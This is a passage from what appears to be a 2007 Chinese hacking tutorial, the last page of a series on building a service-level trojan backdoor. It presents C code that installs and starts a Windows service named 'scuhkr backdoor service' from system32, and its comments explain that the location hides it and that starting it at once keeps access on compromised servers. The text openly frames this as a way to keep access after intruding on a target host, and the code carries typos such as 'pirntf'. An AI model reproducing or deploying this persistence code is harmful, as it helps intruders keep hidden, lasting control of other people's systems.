黑客技巧:如何做服务级的木马后门

互联网 | 编辑: 杨剑锋 2007-07-30 16:14:00转载 一键看全文

安装服务

现在我们成功入侵目标主机,在拍屁股走人之前,怎么也要留个后门,方便下次继续。那后门怎么留?我们上面写的都是主体部分,还没安装呢。安装服务的部分其实很简单,示例代码如下:

// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服务控制管理器句柄
hService = NULL;   //服务句柄
char szSysPath[MAX_PATH]=, 
szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在admin$system32里,
隐蔽性高

if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主机 
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}

GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //应用程序绝对路径

if ((hService=CreateService(hSCManager, //指向服务控制管理数据库的句柄
    "scuhkr",   //服务名
    "scuhkr backdoor service", //显示用的服务名
    SERVICE_ALL_ACCESS, //所有访问权限
    SERVICE_WIN32_OWN_PROCESS, //私有类型
    SERVICE_DEMAND_START, //自启动类型     SERVICE_ERROR_IGNORE, //忽略错误处理
    szExePath, //应用程序路径
    NULL, 
    NULL, 
    NULL,
    NULL,
    NULL)) == NULL)
{
printf("%dn", GetLastError());
  return;
}

//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
if(StartService(hService, 0, NULL) == FALSE)
{ 
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //关闭服务句柄
CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}

一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,具体怎么做偶就不讲了,相信聪明的你三下五除二就能搞定,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安装服务的信息了?是不是很简单呢!

提示:试试键盘 “← →” 可以实现快速翻页 

总共 4 页< 上一页1234
一键看全文

本文导航

相关阅读

每日精选

点击查看更多

首页 手机 数码相机 笔记本 游戏 DIY硬件 硬件外设 办公中心 数字家电 平板电脑